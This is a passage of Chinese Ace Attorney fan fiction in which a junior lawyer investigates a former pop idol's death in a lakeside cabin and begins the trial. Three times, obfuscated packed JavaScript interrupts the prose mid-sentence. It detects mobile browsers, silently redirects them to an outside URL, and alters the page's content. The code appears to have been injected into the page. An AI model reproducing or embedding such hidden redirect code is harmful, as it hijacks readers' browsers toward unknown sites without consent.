山田勇人十分激动地握住我,颤声不断道谢,“实在是不知道怎么感谢才好,以后,以后如果有机会来到我们酒店,请务必让我来服侍!” “也,也不用啦。” 我尬笑着抽出右手,“不过真是太好了!最后证明了你的清白。” “是的,真是万幸。” “绘里姐,恭喜你完成了第一次案件!” 真宵扑过来紧紧抱住了我,我也回抱住她,低声回应了一句:嗯。 在我们商量之后要去吃些什么作为庆祝时,山田走过来道别,临行前,他再次对我表达了感谢。 “这下他也可以放心了,不仅我能够回去,酒店还可以用这个作为招牌。相信在不远的将来,一定会有源源不断的客人前来。” “啊?”沉浸在喜悦里的我一时没有反应过来。 “就是,”山田不好意思地摸了摸后脑勺,“会吸引到很多对凶案感兴趣的人,某种意义上来说,也算好事吧?” “原来如此。” 难怪会说山田跟他相像,还真是一致啊。 8. 逆转之声1 「 she''s my blue jeans baby she''s my blue jeans baby baby she''s got the bluest jeans got the bluest eyes and when she passed by I pop my fly 」 10月13日某时刻 成步堂法律事务所 —————————————————————— “绘里姐,你知道‘secret boys’这个组合吗?” 真宵从电视机前的沙发上探出脑袋朝我问道,我暼了眼电视,里面正在放送今日新闻。 “嗯——”,我努力在脑海中搜索着这个名字,“很多年前,大概有10年了吧,的确有过这样一个人气组合。就连我的同学中也有他们的粉丝。” “不过真是很久没有听到这个名字了呢,他们正是大势的时候出了事,之后就再也没有消息了。” 说完,我从椅子上起身直起背简单地做了个拉伸。伏案工作久了也需要放松放松,让酸痛的肩颈得到休息。 “电视上说有位成员在昨晚被发现死在湖边木屋的浴缸中,嫌疑人是他所雇佣的一位大婶。” “这样吗,人生真是无常啊。” 我随意地答道,脑袋里却在想着别的事。自上一案结束,几个月来事务所也只接过几件不大不小的案子,有输有赢,只是总感觉少了些什么。 这段时间,成步堂哥时不时会传来书信,以示他近况良好,让我们不要过多担心。但却从来不提归期。 我拿起水杯走向饮水机,按下开关,气泡借由水液下潜的空隙向内涌入,带起水桶咕咚咕咚一阵响。我望着白墙发呆,连水液从杯中溢出都没注意。 笃,笃,笃。 敲门声将我唤回,我连忙按下停止将杯盖盖上,拿起杯子走向大门。 “你好,请问.......?” 面容模糊的人手忙脚乱地将一封信塞进我怀里,不等我开口追问就赶着跑开,一瞬便没影了。 “是恶作剧吗?” 我嘟囔着拆开信封,偌大的A4纸上只有短短的一句话。 请到拘留所来找我。 挑战这不就来了。 —————————————————————— 10月13日某时刻 拘留所 会面室 —————————————————————— “请问,这封信是大婶你写的吗?” 一头银白卷发右现三点红,高挑的细眉下眼睛微微觑起带着审视的目光上下扫视,两颧外凸,脸颊内凹,嘴角从始至终保持着下撇的样子。 总感觉比起案件,这位被告会更棘手。 “我说——” 对面的大婶面色突变,眼中似有火苗燃烧,嘴一开一合间,话语便如枪炮般连环向我打来。 “大婶?你居然叫我大婶?我可是有着大场香这样既好听又符合本人气质的美名现在的年轻人真是没有礼貌在不知道一位淑女确切年龄的情况下竟然随意就下定论早知道在我们那个年代不管对方实际年龄有多大都会用更加礼貌的称谓而不是一上来就故意夸大好让自己显得年轻再说我看着很老吗还是你以为自己很年轻可在大婶我看来事实并不是这样呢。” 明明自己也叫自己大婶。 我在心里悄声吐槽,不过通过她刚才的话我可以肯定,信并非出自她之手。写信的人惜字如金,至于这位大婶——只看字也会觉得真吵啊。 发泄完,大婶的情绪也稳定了不少。这时她也想起一件更为重要的事,“你又是谁?我明明跟那个人说的是‘把信送到成步堂法律事务所’,怎么成步堂没来?” “成步堂律师现在并不在事务所,我叫知念绘里,事务所这段时间的工作都由我来负责。”我一板一眼地回答。 她又再次睨起眼扫视,“所以你是新人?看你这幅模样,要把自己交给你真是很难让人放心啊。” “.......可以不要说这些会让人误会的话吗?” “总之,”大婶冲我摆摆手,“我是不会同意让你做我的律师,你就死了这条心吧。” “那就告辞了!” 我飞快回了一句,趁对方还没反应前逃出会面室在走廊上飞奔。 有点遗憾但不多,比起案子,这位委托人才是更加棘手啊。要接下这起案子,我或许还需要一些时间。 —————————————————————— 10月13日某时刻 成步堂法律事务所 —————————————————————— “诶,这不是——” 律所门口,一位意想不到的人的正站在那里。他不断抬起一边手臂低头查看腕上的时间,眉头皱起,显得有些烦躁。 “御剑检察官?你怎么会在这里?” 我打开门将他请了进去,御剑先是四处探查,他仔细搜寻房里的每一个角落,在这期间也始终沉默。直到整个事务所都被他看了个遍,他才坐下来慢慢开口。 “那个男人呢?他在哪?” “啊?哪个男人?我们事务所哪来的男——你是指成步堂哥?他几个月前他就离开事务所,去处理一些别的事了。” “什么事?” 这种问题我怎么会知道啊! 从我的沉默中,御剑得到了对他而言并不理想的答案。 御剑站起身,微低着头点了点,“打扰了,不过,之后那个男人回来时还请告诉他:请到检察署1202一趟。那么,告辞。” 结束掉短短几分钟的对话,御剑大步跨出事务所,留下我与真宵面面相觑。 “御剑检察官果然是很关心成步堂哥呢。” 真宵边说边自我赞同地点头。 “的确呢,刚刚看他冷着一张脸,我还以为是发生了什么不好的事。不管是什么,只要不涉及到事务所就好了。” 事务所要是不在了,我也没有地方可以去。这年头,工作是真不好找啊。 “话说,御剑检察官是不是落了什么东西?”我指着摆在桌面的一副黑框眼镜说道。 “啊!这下可不好了!得找个机会给御剑检察官送回去才行。” “找个机会吗,不是很想去检察署那种地方啊.......”我拿起桌上的镜框苦恼地低吟道。 “绘里姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266033|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那位大婶的案子,你真的不打算接手吗?” 真宵猛不丁贴到我眼前一脸认真地问到,我一时语塞,也想不出要做点什么回应。 “大婶虽然说话很啰嗦,平时也总是一副得理不饶人的模样。但其实。她只是比其他人都更直率,不会把话藏在心里,有什么就会直接说出来。而且,杀害他人这样的事,她是绝对做不出来的!” “真宵,”我转过身与她面对面,“刚才在拘留所的会面室你也听到了。现在最大的问题并不是我不愿意,”虽然事实上也有有些不愿意,“而是那位大婶。她并不相信我,拿不到委托书,我是没有办法替她出庭辩护的。” “嗯........”听到我的回答,真宵低头沉默了片刻,但随即她便想起什么似的猛一抬头,“绘里姐!把那副眼镜带上吧!” “带上这个?” “对!”真宵说着将眼镜别在了我的领口前,“把这个给她看吧!就说——就说是御剑检察官拜托你来的!” “可是这样不是在骗人吗?” “这是善意的谎言。不算骗人哦!” 说着还不停眨眼,试图掩盖自己的心虚。 “那,好吧?” 伸手按了按领口的眼镜,让我骗人,果然还是会有些良心不安。希望能够顺利说服对方,让她看不出什么破绽才好。 —————————————————————— 10月13日某时刻 拘留所 会面室 —————————————————————— “你怎么又来了?我不是说过——” 大婶话说到一半突然停下,双眼直愣愣地盯着那副眼镜,突然激动地大喊起来:“那不是小御的东西吗?!你身上怎么会有小御御的东西!!!” 这声音又尖又细,震得人脑瓜子生疼。本能对危险的恐惧使我赶忙取下眼镜,试图转换话题好让对方将注意力放到其他东西上,“是御剑怜侍——是御剑检察官听说你的事,才把这个东西交给我,拜托,拜托.......” 最后一句话哽在喉咙里怎么也出不来,我的双颊涨红,热气环绕在脖颈四周怎么散不下去。大婶的眼神也逐渐从期待变为了怀疑,看我这样,真宵连忙补上,“是御剑检察官拜托我们回来的,他说大婶你是个好人,因为不想看到你被误会成杀人凶手,所以希望你能答应让绘里姐成为你的律师。” “原来.......原来是这样!!!小御,没想到你为了我竟然这样用心良苦,大婶我真是好感动!!!” 没想到比起生气发怒时的连环嘴炮攻击,大婶的嚎啕恸哭威力也这么强大,堵着耳朵的我这么想到。 “咳咳,”察觉到自己的失态,大婶清清嗓子又恢复了那副冷漠的模样,“虽然对你为什么会持有小御物品的原因仍抱有怀疑,但那个小姑娘的说辞让我很满意。既然将事务所交给你来打理,那你也算是他的徒弟了。尽管我并不喜欢那个自以为是的小子,也并不想承认他的确有些本事——不过再怎么说,你也不会太差吧?” “当然!”对方好不容易松口,我也下定决心要接下这个挑战,没道理现在退缩。 “那么,这个你就拿去吧。” 接过委托书,关于这起案件的调查现在正式开始。 9. 逆转之声2 “我被控告杀了人,死者叫小川洋辅,听说以前是个有名组合的成员。他这种名气的人,死了电视上肯定会有连番的报道吧?我在三个月前成为了他私人木屋的管家。说是管家,但我在木屋的主要工作只是为他采购食材填满冰箱,保证电器的正常运作和木屋的整洁。也不需要每天都去,周三、周五、周日,每周只有这三天需要到木屋为他的周末休假做好准备。 “那天是一个周五,我跟往常一样把食物装进冰箱,确保屋内所有电器都通电后就离开了。之后那里发生了什么我并不清楚,就这样被抓了进来。” “诶?结束了吗?就这样而已???” “因为那一整天我只有上午去过一次木屋,周五下午至周日晚上的这段时间,除了他自己,其他人都不能进入那个地方。” “好奇怪的规定。” “这有什么奇怪的。不过是上电视的人都会更注重自己的隐私而已。” “没有更多的信息了吗?” “很遗憾,我只知道这么多。” 直觉告诉我她隐瞒了什么。我直视对面的大婶,她却闭眼转过脸去,显然不愿再进一步的交谈。 —————————————————————— 10月13日下午3时 和睦森林湖边木屋 —————————————————————— 驱车来到距离市中心几十公里的山林,这里正好是两县的交界之处。走过一条曲折的林中小径,在层层叠叠的树枝间一幢双层木屋渐渐现出身影。 通往木屋的道路只有一条,两旁灌木丛生,不见其他房屋。拨开灌木丛就能抵达静谧的秋日湖畔。 “景色真美啊。” 站在岸边远眺泛着澄黄金光的湖面,微风袭来,落叶飘至水面惊起小憩的鸟儿。这样一副和谐的自然景画,对于久坐办公室的人来说实在是难得的慰藉。 欣赏完美景,我和真宵转身移动到一旁的木屋之中。屋内构造十分简单,上到二楼的木梯恰好与大门面对面,转过木梯向右,布置得还算温馨的小屋会客厅占据了一层大部分的空间。棕褐色壁炉上挂一幅古典油画,下方摆着一个时钟。画里满墙绿植的花园中两位少女正依偎在一起,双颊相贴满脸眷恋。她们身后的鸽子也效仿两人轻偎低傍。 “感情真好啊,她们两个。”真宵略带感慨地说。 这的确是一幅恬静优美的画,也正适合会客厅整体的暖色装潢,只是我总感觉有着其他什么寓意。 或许是为了节省空间,会客厅与餐厅合二为一,主人与来客交谈的狭小空间后就是人们就餐的地方。事发突然,桌上甚至还有未来得及收拾的晚餐:吃剩到一半的意大利面,奇怪的是一旁用来摆放刀叉的餐巾上沾满了红色酱料,可意面上却只有黑胡椒碎。银质餐具静静躺在长桌的一角,是死者自己不小心弄掉的吗? 除小川洋辅生前就餐的那张椅子外,其余的都整齐排放在长桌旁。 “这张椅子的角度有些.......”说着,我打算走上前将那张木椅摆正。 “没想到绘里姐跟这间木屋的主人一样,都有‘抢破症’呢!不过为什么要叫这个名字,难道这种行为跟抢破烂一样,都会让人上瘾吗?” “真宵,”我无奈的地扶额轻叹,“我想主持人说的是‘强迫症’吧?” “啊!”真宵一脸的恍然大悟,嘿嘿干笑两声不好意思道:“一直盯着电视也很累嘛,偶尔开小差也是可以理解的吧?不过我可是很清楚地听到电视里说小川洋辅有着非常严重的强迫症,因为这个,成员们经常跟他争吵,就连事务所也受不了他这个样子。” 听完真宵的话,我收回搭在椅背上的手,默不作声离开维持那里的原样。 长桌正对着厨房的入口,里面异常的整洁,看不出有人在这里劳作过的痕迹,或许桌上的意面是外卖?还是小川有做完餐后立刻就收拾干净的习惯?从进入木屋就有的异样感在此刻愈发明显,环顾厨房一周,我终于发现隐匿在这正常表象下的古怪——四格酒杯架上只放了两只高脚杯。 首先我要声明,我,知念绘里,并没有强迫症!只是看不惯一些不太整齐的摆放方式,仅此而已。其次,小川洋辅,一个有强迫症的人,怎么可以接受自己完美的厨房出现这样的瑕疵——一个存在空缺的收纳。怎么想这都极为反常。 要找找遗失的酒杯吗?带着这个疑问,我离开厨房转而来到位于木梯左侧的浴室门口。拧开门把朝内走去,案发现场果然不一样,非常凌乱,符合刻板印象。 亮面瓷砖上到处是水痕,浴缸里的水被放了个干净。两只不翼而飞的高脚杯正平稳地站在缸边圆形木桌上,一杯早已饮尽,另一杯仍盈满了血般赤红的酒液。包装精致的鸢尾花束静静躺在一旁,沉默着迎来了枯萎。 “是这个吧?” 我走到窗边拿起放在窗台的一瓶面膜,瓶盖打开落在一旁,乳白色的膏体被挖走了大半。它就是让这片空间充斥馥郁香气的“罪魁祸首”。哪怕在门口都能闻到的香气拿在手里更加浓郁,是浓烈到让人生厌的花香。 捏着鼻子把这瓶勉强算是证物的东西装进袋中,仅仅只是碰触过瓶身的双手现在也被沾染了这浓香。希望回去之后能够洗掉,我可不想吃饭的时候也能闻到。 浴室靠里的墙面上挂了面巴洛克风格的梳妆镜,左边则是一张雕花木柜。空荡荡的柜中只找到一份洗浴用品。 本以为能在现场找到更多的线索,晃荡半天也只收集到一件可能的证物。我怀抱最后的希望前往二楼,门后却只有空寂,唯有一间布置了床铺与衣柜。全部搜索一遍,依旧一无所获。 “明天开庭就让我用这种东西跟对手争辩吗?是在开玩笑吧,是玩笑吧?!” 沮丧地走出木屋,我心不在焉地行穿梭在杂草丛生的林间,直到耳畔响起木柴噼里啪啦的燃烧声。 —————————————————————— 10月13日下午4时21分 和睦森林西 —————————— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266034|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ———————————— “小心一点啊!!!” 高亢的女声让我一惊,回过神来才发现自己马上就要一脚踩进正在燃烧的火堆中。 “你没事吧?”说话人拉住我一脸焦急地问道。 “没事。谢谢......” “没事就好!对了,我叫大泽木夏实,正在拍摄风景中。你呢,你为什么会来这里?” “我从那边的木屋过来,为了一桩案件前来。” “啊!”大泽木惊叫起来,“是小川洋辅被害一案吗?” “是的,你也知道了吗?” 我看向她身后的旅行车面露疑惑。 “虽然没有电视,我的车里可是放了一台能够接收到附近所有信号的设备哦!当然不会错过知名歌星的死亡事件了。” “居然可以接收到所有信号吗?真是太厉害了!” 我不由自主地拍掌发出感叹。 “嘿嘿,也还好啦。” “诶?诶!你不是绫里家的那位——绫里真宵吗?好久不见。”大泽木夏实对着我身后的真宵探头说道。 “你是——啊!大泽木小姐!” “嗯嗯,没想到在这里又见面了!”在她叉腰大笑的时候,那一头茂密的红棕卷发也跟着微微颤抖。 “大泽木小姐来这里是为了拍摄关于小川洋辅的独家新闻吗?” “诶?” 听到真宵的问题,大泽木同我都有些错愕。她的脸上出现一丝慌张,“没,没有啦!只是单纯觉得这里的景色很漂亮,所以才过来拍照。” “原来是这样。大泽木小姐现在已经不是八卦记者了吗?” 八卦记者?我狐疑地看向大泽木,这时我才注意到她身后那台架在支架上的相机对准的并不是湖面,而是木屋的方向。 “啊,啊,这个.......”大泽木脑后冷汗直流,她嗫嗫嚅嚅地说:“最近打算休息一段时间啦,偶尔接触接触自然不也挺好嘛。” “可是,大泽木小姐,如果是拍景色的话,摄像机为什么会对着木屋的方向呢?”我手指着相机开口问道。 “那是,那是,”大泽木的脸一瞬变得通红,“那是因为我正打算收拾东西离开这里,所以才暂时把它摆向那个方向。” 真是奇怪的逻辑,不过我并不打算深究这个问题。 “大泽木小姐,请问你是什么来到这里的?” “两天之前我就已经在这里了。” 两天前,那岂不是—— “小川洋辅遇害当天你也在这里是吗?” 大泽木点点头,“顺带一提,也是我报的警哦!” “!” 这一刻,我不再是知念绘里,我是发现新大陆的哥伦布,即将开始自己的探索之旅。 “那么——” “我什么都不会回答的。” 大泽木夏实摇摇头拒绝了我发出的对话邀请,“很抱歉呢,身为证人的我是无法对立场相反的辩护律师小姐透露太多信息的。” 10. 逆转之声3 没办法了。 虽然很不甘心,但大泽木是无论如何也不愿意开口的。最后为了躲避我的追问甚至开始轻哼起歌,装作看不见的模样。 只能离开这里了。现在,还能调查的区域似乎也只剩下另一侧。 —————————————————————— 10月13日下午4时23分 和睦森林东 —————————————————————— “这不是律师小姐吗?” 这个声音,啊,果然是糸锯圭介。 “又见面了呢,糸锯刑警。” “看来这次的案件还是由你来负责啊。是打算进入这里调查吗,很遗憾,我们正在搜查这片区域。暂时会封闭这里,你们得白跑一趟了。” “为什么要在这里进行搜查?” “当然是为了提高精度,每一处都不放过,才能找到‘细节中的魔鬼’。话说你不也是因为这个才来这边的吗?” “是这样呢。” 其实是因为在另外两处没有什么收获,可这么丢人的原因完全说不出口啊。 好不容易碰到糸锯,再多问问他一些别的情报吧。 “逮捕大场香的理由是什么?” “有目击证人证实10月11日,也就是小川洋辅遇害当晚看见有道黑影从木屋中跑出。证人进入木屋后在浴室发现了躺在浴缸里已经确认死亡的小川,并且在浴缸旁的木桌上有凶手遗留的物品,一条四边都绣有花纹的手帕。” “怎么确定那就是凶手的物品?” “其实,凶手在案发过后有回过现场。很不巧的是,那个时候我们警方也刚好到达木屋。本来那个时间出现在这里就很奇怪,她还坚称自己只是为了拿回掉落在屋内的手帕——甚至就是在浴室发现的那块。后续证人也通过自己当晚拍摄的照片指认当时拍到的黑影身形跟她非常相似。无论怎么想,她的嫌疑都是最大的。” 那个大婶,居然向我隐瞒了这么多事!! “做好心理准备吧。明天的法庭会很难熬......不管是对你还是对我来说。” “为什么这么说?” “因为明天将会是狩魔检察官的主场。” “狩魔......难道,难道是狩魔冥?” 糸锯没有回答,但从他那双死水一样平静无波澜的眼中,我得到了答案。 “完蛋了。” 这是心死的我。 “完蛋了。” 这是看着我有些担忧的真宵。 “我也完蛋了。” 这是不知道为什么一脸沮丧的糸锯。 “为什么糸锯刑警你也跟着叹气啊?” “不好好搜证,我这边也会很难过呢,各种意义上的。”糸锯苦笑着挠了挠头,接着小声地嘟囔了一句:“到现在为止也没有什么发现,狩魔检察官肯定会非常生气。该怎么办才好啊.......” 这样说或许不太好,但知道检方也没有什么进展真是太好了。 “总之我得继续工作了。那么,明天的法庭再见吧。”糸锯圭介略微点头致意后转身离开。 不能在这片区域开展调查,我们也只能离开。况且,我还有很多疑问需要大婶帮忙解答。 —————————————————————— 10月13日某时刻 拘留所 会面室 —————————————————————— “这么快就回来了,看来搜查工作很不顺利啊。” 都这种时候了还有心情说丧气话.......现在真是看到那双眼睛就让人生气。 “不,恰恰相反,今天有个大收获。” “大收获?”大场香挑眉嘲弄道。 “你为什么要向我隐瞒案发当晚有回到现场的事实。” “什,什,什么回到现场。我听不懂你在说什么!” “装傻也没用。有人拍到凶手匆忙逃离现场的照片,并且指认你与上面的人影极其相似。不出意外,明天她一定会出庭作证。” “你说的证人,是那个爆炸头吧。” 没有我预想中被拆穿的气急败坏,大场香反倒异常的冷静,似乎早就知道会有这一刻。 “她拍到的并不是我。我后来的确回过木屋,就是在那个时候,在我左脚刚踏上那块腐朽木板的一刹那,不知道从什么地方冒出来的刑警将我按住,就这样被带到这里。” 等等,如果她现在说的是事实,不就说明大泽木拍下那张照片时她并不在场?! “有什么东西能够证明你当时并不在场吗?或者有谁能为你提供不在场证明?” “都没有。” “那你告诉我这个到底是为了——” “我只想说,无论对方怎么笃定杀害了小川洋辅的人是我,事实都与之相反。你只需要认定这一点就行了。” “那回树屋是为了手帕,这件事是真的吗?” 大场香别开了眼,就这样着看石墙良久才开口:“没错。” “.......我知道了。” 沉沉呼出一口气,我不禁为自己的未来感到担忧。对我有所隐瞒的证人,颗粒无收的搜证工作(真不知道什么情况才用得上那瓶面膜),再加上神秘莫测的对手。明天的法庭真是凶多吉少啊。 —————————————————————— 10月13日某时刻 成步堂法律事务所 —————————————————————— “真宵,这起案件你怎么看?” “唔呣,现在什么都还不太明朗呢。唯一可以确定的只有大婶并不是凶手,但可以证明这点的东西我们又没有找到.......绘里姐,明天的法庭你想好要怎么应对了吗?” “也只好用那招了,不停逼问对方以求从话中抓到弊病来一招制敌。毕竟我手上唯一可以使用的证物,看起来不太可靠啊。” “明天一定是场恶战了......” “虽然是场恶战,可要是能打赢,我也算‘名垂青史’了吧?” “嗯!我相信绘里姐一定可以!” 现在需要做的,只有等待。 —————————————————————— 10月14日上午9时45分 地方法院被告第3休息室 —————————————————————— “我说你,真是太夸张了。作为被告的我都可以这么放松,你怎么还是一幅马上就要被推上断头台的样子。” 那当然是因为大婶你只用坐在下面看就好了,要对付狩魔冥的人,是我。 看我面色不太好,真宵在一旁接过了话头:“大婶你不知道吧?绘里姐之前跟我一样,都只是作为助手陪同出庭,并没有正面跟狩魔检察官对峙过。有点紧张也是人之常情吧。” “什么!”这下无法镇定的人成了大场香,“所以说她之前从来没有作为正式律师出过庭?” “也不是啦,过去几个月里事务所的案件都是绘里姐在处理。” “真宵,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266035|166571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我抬手看了眼表上的时间,“我们该出庭了。” —————————————————————— 同日上午10时 地方法院第2法庭 —————————————————————— “本院在此宣布,开始审理‘大场香’一案。辩方是否准备完毕?” “辩方准备完毕。” 不对,为什么检方不需要准备啊?! “那么,”审判长突兀停下话头使劲在空中嗅着什么,“嗯.......总感觉今天的法庭有股令人在意的香味。” 我的注意全在对面银蓝色头发的女子身上,想必她就是狩魔冥了。 “听说你算是成步堂龙一的徒弟?哼,他在完美上留下的裂缝,我会用你的失败,一点一点修补回来。” “这就是检方的开场陈述吧?那么,传唤第一位证人。” “审判长还真是辛苦啊,结尾这种活也得自己干。”我靠近真宵咬耳朵道。 “毕竟狩魔检察官一直都是这个风格嘛。”真宵也俏皮地回应。 “糸锯刑警,希望你今天也务必拿出干劲,完整无误地说明案情。” 狩魔冥双手环抱胸前,状似漫不经心地开口i。 “是,是!” 糸锯刑警,现在就像是开小差突然被点名的学生一样呢,真可怜。 “各位,这是案发现场的平面图,木屋坐落在湖泊旁,周围被森林层层包裹。这间位于湖边的木屋共有两层,但二楼只有一间房住人,可以看作是空层。一楼共有三个区域,木梯的右侧会客室与餐厅共用一个空间,厨房在最里侧;木梯左侧则是浴室,被害人就是在这里被发现的。” “死因是什么?” “溺亡。” “那么,凶手是如何确定的?” “请让我详细解释一番。” ~捕捉凶手的过程~ “10月12日晚23时9分,警方在接到报警电话后便立即赶往现场。 当时木屋里除了死者外还有一位其他人员。 死者在浴缸中被发现,死因为溺亡。身上痕迹证明其在死前与人有过激烈的肢体冲突,死亡时间推断应是10月12日晚22时15分。 之后又在浴缸边的木桌上发现一张并不属于死者的手帕。 没过多久,在屋外搜证的警员看到了一名形迹可疑的人,也就是被告。 询问过后才知道,她是为了取回不慎遗落在木屋的手帕才会到此。而那张手帕,恰好与浴室中发现的凶器一致。 除了凶手,我想不出还会有谁在那个时间前往木屋寻找遗失现场的物品。所以,我当即下令对她进行逮捕。” —————————————————————— 证言结束,作为证物的手帕与解剖记录被移交给了审判长。 “的确值得让人怀疑啊,那么晚的时间出现在案发现场还将东西遗落在被害身旁。嗯.......我想案件已经非常明了了。” 不要放弃啊审判长!明明还存在疑点! “完美的证言足以将犯下罪孽之人牢牢钉在十字架上,一切企图挽救的行为不过都是白费功夫。辩护律师,现在认输,我还可以考虑让你有个体面的退场。” 那副张扬的神情,自信的语调,果然是狩魔家的人。因完美而强大,因强大而完美。 但我绝对不会退缩,既然已经站在这里,那就一定要战斗到最后一刻——体面的退场,那可不是我想要的。 “请开始讯问吧,辩护律师。” 11. 逆转之声4 “糸锯刑警,当时出现在木屋中的另外一个人是谁?” “本案的报警人,也是提供照片为我们指认凶手的证人。” “警方如何排除这位证人的嫌疑?” “异议!”狩魔冥出其不意地打断了我,“现场遗留的手帕并不属于证人这点就已经足够令她洗脱嫌疑,无需多余的动作。” “异议。”我必须要回到自己熟悉的节奏中来,“手帕也有可能是真正的凶手为了栽赃大场香而故意丢弃在现场,并不能够百分百确定是大场香本人遗留的。” “辩护律师,”狩魔冥嗤笑一声,言语中尽是嘲弄,“我想你可能需要人提醒一句,这位证人与大场香并无过多交集,无仇无怨,偏偏要选大场香?毫无逻辑的事,也就只有你会相信。” “对了,我大发慈悲再告诉你一句吧。手帕上只检测出了大场香的指纹。” 啧。 心气不顺。对手掌握这么多资料,我却什么都没有。审判长看样子也更相信拥有充足证据的检方一边。现在哪怕自己想说“凶手也有可能是随机选择陷害对象,恰好大场香就是那个倒霉蛋”这种话,一想到审判长恐怕会因此对我的印象大打折扣影响后续庭审,还不如就此放弃,不要在这个问题上浪费时间了。 “糸锯刑警,如果你是凶手,会为了拿回掉落的物品而冒着被警方发现的危险重返现场吗?” “异议。” “荒谬的假设,无聊的问题。是因为接受不了自己注定失败的结局才在法庭上提出这样滑稽的设问吗?真是愚蠢!被告回到现场已是既定的事实,这个问题简直毫无意义。” “就到这里。”审判长不耐地摇了摇头,“我想辩护人也问不出什么了。” “检方现在要传唤下一位证人。”狩魔冥还是那副胸有成竹的模样,“尽管我认为以上的证言及证物已足够将被告定罪。不过为了让你输得心服口服,我将呈上更加完美的人证——让你绝无任何可趁之隙。” 好啊。我用唇语回应道,我拭目以待。 “检方传唤——大泽木夏实入庭。” “没想到大泽木小姐这么快就出场了。”真宵在一旁感叹。 “这么快就亮出底牌,看来狩魔检察官非常自信今天就能结束呢。” “绘里姐,我们不要输给她啊!” “这个时候就不要这么热血了吧.......” “不可以哟!绘里姐!要打起精神来啊!” “我尽量.......” 大泽木夏实这时也出现在法庭之中。 “证人,说说你的姓名与职业。” “我是大泽木夏实,现在的目标是成为一流的八卦记者,之前是超自然摄影师。” 超自然摄影师?原来大泽木小姐的人生履历这么丰富吗,真是恣意的人生啊。 “请将你当晚所见,一字不漏地,毫无破绽地,完美地讲述给众人。” 自动忽略狩魔冥的发言,我的目光完全被她手中的物什吸引。 “所以检察官是可以带鞭出庭的设定吗?!” “很神奇吧!每次狩魔检察官都会用那条鞭子来让大家听话呢。就像是电视里正义的主角陷入绝境时总会突然得到某种力量的帮助,用正义的武器制裁邪恶。类似这种设定?” “‘被制裁的邪恶’不会是在说我吧?” “从狩魔检察官的视角来看或许是这样没错哦。” “虽然很想吐槽........还是先听听大泽木小姐的证言算了。” ~案发当晚在营地看见的事~ “那天我正好在附近树林的营地拍摄湖边风景。 晚上10点我在车里休息,相机则朝向湖面架在岸边的平地。 不过有些放心不下我的相机所以出来检查了一番。 就在这个时候,不远处木屋的灯突然全部熄灭。 这之后很久木屋都没有再发出什么动静。 没想到几分钟后从木屋那边传来一阵急促的脚步声,不好的预感让我赶紧对准那个方向拍下了一张照片。 声音消失后我立刻跑到木屋附近,就这样在浴室里发现了死者的尸体,随后报了警。 ” —————————————————————— 证言刚一结束狩魔冥便接过话头:“证人所拍下的就是这个。” 仔细看她出示的照片,右上角记录的时间显示为“12/10/2018 22:26:35”,繁盛的灌木丛占据了其中的一半画幅,隐隐约约能够看见木屋前有个正快速移动的人影。尽管夜视模式下的成像并不十分清晰,但那张脸那个身形,除了大场香外也的确不会有别人。 “如何?在这样完美的证据面前,你难道还能为罪人开脱吗,菜鸟?” 我偏过头与狩魔冥对上,从那双灰色眼眸我只看到四个字——势在必得。 “好了,是时候为这起案件画上完美句号,降下终场的帷幕。审判长,宣判吧。” “嗯。” 沉吟一声,审判长缓缓点头:“本庭在此宣布,被告——” “异议!” 这样草率的审判,我无论如何也无法接受。 “辩护律师,你还有什么疑问吗?” 审判长无疑对我突然出声打断他的行为感到十分惊讶,毕竟从狩魔冥拿出那张相片开始我就一直保持沉默,在他看来,这大概是我无法辩驳因而选择放弃的一种表现吧。 无法反驳。 哪怕是刚才,哪怕我看似坚定地喊出那句“异议”,心里却仍在犹豫——指出证言的矛盾之处,能够带来新的突破点吗? 既然在深思熟虑作出决定前我选择遵循本能,那就这样坚持下去吧,直到狩魔冥将我完全击倒。 “证人的证言中存在明显矛盾,一个能够为被告不在场证明的矛盾。” “我看是你神经错乱。”狩魔冥抢在审判长之前开口:“我劝你还是现在放弃,至少这样不会输得太难看。” “是吗?那如果我赢了呢?” 我松开紧紧交握的双手不带一丝犹豫朝审判长说道:“我只有一个问题,等大泽木小姐回答完毕,无论结果如何,我都接受。” “这样如何呢,狩魔检察官?”审判长如是问道。 “‘临死前最后的心愿’?哼,好,那就满足你。” 眼见狩魔冥终于松口,我悬起的心也得以放下。现在,只能寄希望于大泽木的失误了。 “大泽木小姐,你确定自己是听到了脚步声吗?” “当然了,就是因为这个奇怪的动静,我才会跑到木屋那边去。”大泽木回答得十分干脆。 “真是奇怪啊,你怎么可能听得到脚步声呢?”我皱着眉苦问道。 “这就是你的问题?真是愚蠢!你好好看看你面前的证人,一个四 